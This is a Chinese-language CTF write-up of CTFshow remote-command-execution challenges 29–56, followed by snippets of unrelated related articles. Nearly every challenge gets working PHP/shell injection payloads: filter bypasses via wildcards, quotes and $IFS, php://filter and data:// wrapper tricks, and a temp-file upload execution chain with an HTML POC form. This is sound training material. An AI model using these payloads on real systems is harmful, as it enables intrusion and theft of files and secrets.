CTFshow—远程命令执行
29-35
Web29
代码利用正则匹配过滤了flag,后面加了/i所以不区分大小写。

可以利用通配符绕过
匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0
?c=system('cat f*');//glob1
?c=system('cat f?ag.php');//glob2
?c=system('cat f\lag.php');//转义字符实现绕过
?c=system("cat f''lag.php");
?c=eval($_GET[1]);&1=system('cat flag.php'); //马中马嵌套过滤
Web30
和上一题差不多就是多了system和php的过滤,system用passthru代替即可。
?c=passthru('cat fla?.p?p');

Web31
这题多了cat、空格、单引号、逗号的过滤。

cat代替命令
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
空格代替
<,<>,%20(space),%09(tab),$IFS$9, I F S , {IFS},IFS,IFS
?c=passthru("more%09fla*");
Web32
这题过滤多了 ; 和 ( 。分号我们可以用 ?> 代替,因为php中最后一句代码可以不用加 ;,但是 ( 被过滤了也就意味着不能用命令执行函数了,因为命令执行函数都要使用到括号。

这里我们可以使用文件包含函数,如include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile,PHP中文件包含函数可以不用使用括号。
payload如下,解释一下啥意思,使用include函数包含参数1,而参数1是通过get获取的flag.php。
php:///filter:是 PHP 中用于数据流处理的流封装协议之一,它允许你在读取或写入文件时,通过指定的过滤器对数据进行处理。
read=convert.base64-encode:这部分指定了过滤器类型为读取(read)操作,并且使用convert.base64-encode过滤器对数据进行 Base64 编码。Base64 编码是一种将二进制数据转换为 ASCII 字符串的方法,常用于在需要文本表示二进制数据的场合。
resource=:这部分后面应该跟上你想要读取并编码的文件路径
?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
返回的数据是base64编码,拿去解码即可。

Web33
和上一题并无啥区别,多了双引号的过滤,但是我们上一题的poyload并无用到双引号,所以直接套用上一题的payload即可。
?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

Web34
观察了一下,只是多了冒号的过滤,上一题的payload我们没有用到冒号,所以继续套用即可。
?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

Web35
过滤多了左尖括号和等于号,无所谓,依旧套用payload即可。
?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

36-40
Web36
这题过滤了0-9数字,我还想这个%0a改用什么代替呢,一查原来include函数不需要空格也行,那不就好办了吗,直接套用web35的payload即可,去掉%0a,把参数1改为字母就行。
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

Web37
这题是通过C传参,接着使用include包含C,也就是把C的文件内容显示到页面上面,但是过滤了flag。我们可以用data伪协议,伪协议中的data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行,也就是说我们可以通过data伪协议造成rce。
data://协议用法:
data://text/plain,
data://text/plain;base64,

payload
?c=data://text/plain,<?php system("cat f*")?>
Web38
这题多了对php的过滤,直接套用上一题的payload坑定是不行了,查了一下原来在PHP中居然可以使用短标签 = 代替php,而且php不是必须的可以去掉,逆天了。
?c=data://text/plain,<?=system("cat f*")?>

Web39
这题没啥难度,就是拼接了个php,问题不大,直接套用上一题的payload即可。
?c=data://text/plain,<?=system("cat f*")?>

Web40
这题难度就上来了,可以看到几乎把所有的字符都过滤,只留下一个英文的括号。

这题要使用很多函数,我们先来了解一下。
print_r()函数不用多说,函数用于打印变量,作用对象是变量。
scandir()函数函数会扫描这个目录,并返回一个包含目录中所有文件和目录名的数组,也就是说scandir()会列出当前目录下的文件。
那么我们可以使用print_r(scandir('.'))来列出当前目录下的所有文件,并且打印在web页面。但是单引号和小数点都被过滤了,我们这里要找其他的函数来代替。
通过查找我们得知
localeconv():返回包含本地数字及货币信息格式的数组,其中数组中的第一个为点号(.)

那不妨这样子想,如果我们能找到一个函数截取localeconv()的值,使其只返回第一个值那我们不就得到小数点了吗?
pos() 和current() 函数返回数组中的当前元素(单元),默认取第一个值。

此时我们可以打印出当前目录下的文件名,无需单引号也行好像。
?c=print_r(scandir(pos(localeconv())));

OK,现在的问题是怎么读取文件里面的内容呢,通过查阅得知,
next():函数将内部指针指向数组中的下一个元素,并输出。
但是通过我们刚刚列出来的数组得知目前的顺序是 ".","..","flag.php","index.php",那我们直接把它们的顺序调换不就刚刚好吗,也就是"index.php","flag.php","..",".",那么此时next()函数指向的下一个刚好是flag.php。
通过查找
array_reverse():数组逆序,将文件目录反转。
此时我们便可以构造payload。
?c=print_r(next(array_reverse(scandir(current(localeconv())))));
但依旧不行,因为print_r函数打印的是变量,而我们要输出的是文件,于是我们这里就只能用show_source或者highlight_file。
?c=show_source(next(array_reverse(scandir(current(localeconv())))));

41-45
Web41
没复现出来
Web42
这题会对我们输入的参数拼接一个重定向,解释一下
> 代表重定向到哪里
/dev/null 代表空设备文件
2> 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
1 表示stdout标准输出,系统默认值是1,所以>/dev/null等同于 1>/dev/null
因此,>/dev/null 2>&1 也可以写成1> /dev/null 2> &1
1> /dev/null:首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任1何信息。
2> &1:接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

所以我们直接截断后面的语句即可。
?c=cat flag.php%0a
?c=cat flag.php||
?c=cat flag.php%26
?c=cat flag.php%26%26
?c=cat flag.php;
Web43
和上题目一摸一样的,只不过是多了cat的过滤,我们直接换成more即可。

Web44
多了flag的过滤,用我们上面说过的正则绕过即可。
?c=more%20fla*||

Web45
这题多了分号和空格的过滤。我们直接用%09代替空格即可
?c=more%09fla*||
46-50
Web46
过滤了数字和*,但是%09还能用。
?c=more%09fl?g.php||

Web47
这题对好几个查看flag的命令都做了过滤,但是没有过滤tac。
?c=tac%09fl?g.php||

Web48
依旧没有过滤tac,直接套用上一题的payload即可。

Web49
还是上一题的payload

Web50
这题多了对%过滤也就是说%09不能用了,那我们用<去代替空格即可,奇怪的是用?通配符不知道为啥不行。
c=tac<fl?g.php||
要用 ' ' 才行,对php来说这是fl""ag而不是flag关键字不会匹配上,但是对于linux系统来说cat /fl""ag等效于cat /flag。
c=tac<fl''ag.php||

51-55
Web51
这题多了tac的过滤,用nl命令代替即可。
c=nl<>fl""ag.php||

Web52
这题多了尖括号的过滤。

一开始直接查看flag,发现不对,说明真正的flag文件不在这个目录。
c=nl${IFS}fl""ag.php||

看一下根目录,发现根目录有个flag
c=ls${IFS}/||

直接查看根目录的flag即可。
?c=nl${IFS}/fl""ag||
Web53
没啥好讲的
c=nl${IFS}fl""ag.php

Web54
这题过滤了很多东西,flag不能用 * 或者 ' ' 来绕过了,nl也被过滤了,但是我们可以用uniq代替。
c=uniq${IFS}f???.php

Web55
过滤了字母,但是没有过滤数字,可以用base64编码,相当于调用/bin目录下的base64编码程序对flag.php进行编码输出
c=/???/????64%20????.???
等同于c=/bin/base64 flag.php

Web46
这题的难度也是直线上升好吧,可以看到数字和字母都过滤了,还有一些特殊符号也是过滤掉了。

但是没有过滤小数点,在linux中以 . /file 这样的方式来执行文件的话,file是不需要有x权限的,而且会用bash去执行file中的命令。那么我们如果上传一个可控文件,再往里面写入一个命令,那么不就是可以rce了吗。
这篇文章写的很好,可以看一下。
无字母数字webshell之提高篇 | 离别歌
那么我们该如何去表示出我们的文件,因为过滤了字母。在PHP上传的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。
?c=.%20/???/????????[@-[]
先构造一个上传页面。
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>
抓包进行修改。

往文件中添加命令。
#!/bin/sh
ls

读取flag,如果发包没有回显flag,多发几次即可。

相关文章:
CTFshow—远程命令执行
29-35 Web29 代码利用正则匹配过滤了flag,后面加了/i所以不区分大小写。 可以利用通配符绕过 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file * ? 匹配任何一个字符(不…...
Qt之简易音视频播放器设计(十五)
Qt开发 系列文章 - MediaPlayer(十五) 目录 前言 一、QMediaPlayer 二、实现方式 1.添加multimedia 2.创建类vedioplayer 3.UI设计 4.用户使用 5.效果演示 总结 前言 利用Qt进行音视频播放器设计,首先比较方便使用的是Qt自带的音视…...
ArrayList 和LinkedList的区别比较
前言 ArrayList和LinkedList的主要区别在于它们的底层数据结构、性能特点以及适用场景。ArrayList和LinkedList从名字分析,他们一个是Array(动态数组)的数据结构,一个是Linked(链表)的数据结构&#x…...
Wallpaper壁纸制作学习记录13
骨骼物理模拟 Wallpaper Engine还允许您为人偶变形骨骼配置某些物理模拟。选择骨骼时,点击编辑约束来配置骨骼这些属性。 警告 请记住,物理模拟可能会根据用户的最大FPS设置略微改变其行为。 Wallpaper Engine编辑器将始终以高帧速率渲染。您可以将壁纸…...
Visual Studio 2022安装教程
1、下载网址 Visual Studio 2022 IDE安装网址借助 Visual Studio 设计,具有自动完成、构建、调试、测试功能的代码将与 Git 管理和云部署融为一体。https://visualstudio.microsoft.com/zh-hans/vs/ 点击图片所示 双击运行 2、安装 点击C桌面开发(右边…...
std__invoke 的使用
std__invoke 的使用 文章目录 std__invoke 的使用1. std::invoke 的功能2. 语法3. 使用场景1. 调用普通函数2. 调用成员函数3. 调用成员函数(通过指针或引用)4. 调用函数对象(仿函数)5. 调用 Lambda 表达式 4. std::invoke 的优势…...
2501d,d.109
原文 2.109.0带来了15个主要更改和26个修复的Bugzilla问题.非常感谢39位贡献者,是他们使2.109.0变成可能. 更改编译器 1,[下一版]现在,为类型实例的成员设置别名是个错误 2,添加位字段内省功能 3,添加了从CTFE写入消息的__ctfeWrite 4,现在-verrors也限制弃用警告 5,dtoh为e…...
1、蓝牙打印机环境搭建
本项目采用stm32f103c8T6芯片,通过库函数实现打印功能,并配置有小程序蓝牙通信上位机。 1、创建文件夹目录 core文件夹存放核心库文件 LIB文件夹存放标准库函数文件 这里可以删减,用不到的可以不要。 obj存放编译后的文件 project存放项目…...
Axure RP11安装学习
安装: 官网下载地址:Axure RP - UX Prototypes, Specifications, and Diagrams in One Tool 设置自己的安装目录,一步步安装即可。 汉化: 汉化包下载地址: 链接: https://pan.baidu.com/s/1eIRoGkVqAY3u3I27lgDJ6A…...
axios和fetch的实现原理以及区别,与XMLHttpRequest的关系,并结合react封装统一请求示例
Axios 和 Fetch 对比及统一请求封装 1. Axios 基础用法 1.1 安装和引入 // 安装 npm install axios// 引入 import axios from axios;1.2 基本请求方法 // GET 请求 axios.get(/api/users).then(response > console.log(response.data)).catch(error > console.error…...
矩阵运算提速——玩转opencv::Mat
介绍:用Eigen或opencv::Mat进行矩阵的运算,比用cpp的vector或vector进行矩阵运算要快吗? 使用 Eigen 或 OpenCV 的 cv::Mat 进行矩阵运算通常比使用 std::vector<int> 或 std::vector<double> 更快。这主要有以下几个原因: 优化的底层实现…...
C++软件设计模式之模板方法模式
模板方法模式是面向对象软件设计模式之一,其主要意图是在一个方法中定义一个算法的骨架,而将一些步骤延迟到子类中实现。模板方法使得子类可以在不改变算法结构的情况下重新定义算法的某些特定步骤。 动机 在软件开发中,常常会遇到这样的情…...
神经网络的初始化方式都有哪些?
一、概念 神经网络的初始化是深度学习中的一个关键步骤,它指的是在训练开始前为神经网络的权重和偏置设置初始值。合适的初始化方法可以加速模型的收敛,提高训练效果,甚至影响模型的最终性能。当然,目前我们使用Torch、TensorFlow…...
const成员函数
在c中经常看到这样的声明: class A{ ... int fun1() const; //const成员函数 int fun2() const; //const成员函数private: int a; //属于状态 static int b; //不属于状态,属于类 } 这个const关键字声明了这个函数是const成员函数,con…...
物理知识1——电流
说起电流,应该从电荷说起,而说起电荷,应该从原子说起。 1 原子及其结构 常见的物质是由分子构成的,而分子又是由原子构成的,有的分子是由多个原子构成,有的分子只由一个原子构成。而原子的构成如图1所示。…...
车载通信架构 --- 智能汽车通信前沿技术
我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 所谓鸡汤,要么蛊惑你认命,要么怂恿你拼命,但都是回避问题的根源,以现象替代逻辑,以情绪代替思考,把消极接受现实的懦弱,伪装成乐观面对不幸的…...
Flutter中添加全局防护水印的实现
随着版权意识的加强,越来越多的应用开始在应用内部增加各种各样的水印信息,防止核心信息泄露,便于朔源。 效果如下: 在Flutter中增加全局水印的方式,目前有两种实现。 方案一,在native层添加一个遮罩层&a…...
BGP(Border Gateway Protocol)路由收集器
全球 BGP(边界网关协议)路由收集器的分布情况以及相关数据。以下是主要的信息解读: 地图标记: 每个绿色点代表一个路由收集器的位置。路由收集器分布在全球不同的地区,覆盖了五大区域: ARIN(美…...
【DAGMM】直接跑tip
1.from sklearn.externals import joblib 版本高 joblib没有 直接pip install joblib,然后 import joblib 2.AttributeError: module ‘tensorflow’ has no attribute ‘set_random_seed’ # tf.set_random_seed(args.seed)#tf<2.0 tf.random.set_seed(args.s…...
vscode中调用deepseek实现AI辅助编程
来自 Python大数据分析 费弗里 1 简介 大家好我是费老师,最近国产大模型Deepseek v3新版本凭借其优秀的模型推理能力,讨论度非常之高🔥,且其官网提供的相关大模型API接口服务价格一直走的“价格屠夫”路线,性价比很高…...
Graphormer效果可视化:预测结果置信度热力图与分子原子重要性归因展示
Graphormer效果可视化:预测结果置信度热力图与分子原子重要性归因展示 1. 模型概述 Graphormer是一种基于纯Transformer架构的图神经网络,专门为分子图(原子-键结构)的全局结构建模与属性预测而设计。该模型在OGB、PCQM4M等分子…...
11. v4 版本升级指南
11. v4 版本升级指南 1. 概述 Tailwind CSS v4 是一个重大版本更新,从 JavaScript 配置转向 CSS 优先的配置方式。 1.1 主要变化 变化v3v4配置方式tailwind.config.jsCSS 文件 (theme)安装方式postcss tailwindcsstailwindcss/vite 等暗色模式dark: 前缀相同&a…...
告别硬编码!用Rule-Engine 1.0.0重构你的Java业务逻辑(附订单折扣实战)
告别硬编码!用Rule-Engine 1.0.0重构你的Java业务逻辑(附订单折扣实战) 每次电商大促前夜,技术团队最怕听到的一句话是什么?"折扣规则又改了!"——这往往意味着通宵修改代码、紧急测试和冒着风险…...
G-Helper完整指南:三步掌握华硕笔记本性能优化神器
G-Helper完整指南:三步掌握华硕笔记本性能优化神器 【免费下载链接】g-helper Lightweight, open-source control tool for ASUS laptops and ROG Ally. Manage performance modes, fans, GPU, battery, and RGB lighting across Zephyrus, Flow, TUF, Strix, Scar,…...
W25Q16 Flash存储器的5个常见应用场景及避坑指南
W25Q16 Flash存储器的5个常见应用场景及避坑指南 在嵌入式系统开发中,数据存储一直是个绕不开的话题。想象一下,你花了一周时间调试的设备,重启后所有用户设置都消失了;或者精心设计的UI界面,因为字库加载失败变成了乱…...
零基础鸿蒙应用开发第二十二节:类的继承与多态入门
【学习目标】 理解继承的核心意义,掌握ArkTS中extends关键字的使用规则,区分“单继承”特性在鸿蒙开发中的适配场景;掌握super关键字的核心作用(调用父类构造函数、调用父类方法),规避继承中的常见语法错误…...
猫抓:网页资源获取工具的技术革新与实战应用
猫抓:网页资源获取工具的技术革新与实战应用 【免费下载链接】cat-catch 猫抓 浏览器资源嗅探扩展 / cat-catch Browser Resource Sniffing Extension 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch 在数字化时代,我们每天浏览大量…...
针对C++开源项目的AI工具讲解。我将它们分为两大类,便于理解
以下是针对C开源项目的AI工具讲解。我将它们分为两大类,便于理解: C开发者使用AI工具来提升开源项目开发效率(代码补全、调试、重构、文档生成等)。用C开发的开源AI工具/框架(这些工具本身是C开源项目,常用…...
2025版等级保护测评报告模板:风险导向与合规深化的实践指南
1. 2025版等级保护测评报告模板的核心变革 如果你最近接触过等级保护测评工作,一定会注意到2025版报告模板带来的显著变化。这个版本最大的特点就是从过去的"得分导向"彻底转向了"风险导向"。在实际工作中,我发现很多企业安全负责人…...
7个突破瓶颈技巧:开源字体高效应用指南
7个突破瓶颈技巧:开源字体高效应用指南 【免费下载链接】source-han-serif-ttf Source Han Serif TTF 项目地址: https://gitcode.com/gh_mirrors/so/source-han-serif-ttf 在数字设计与开发领域,选择合适的字体常常让创作者陷入两难——商业字体…...

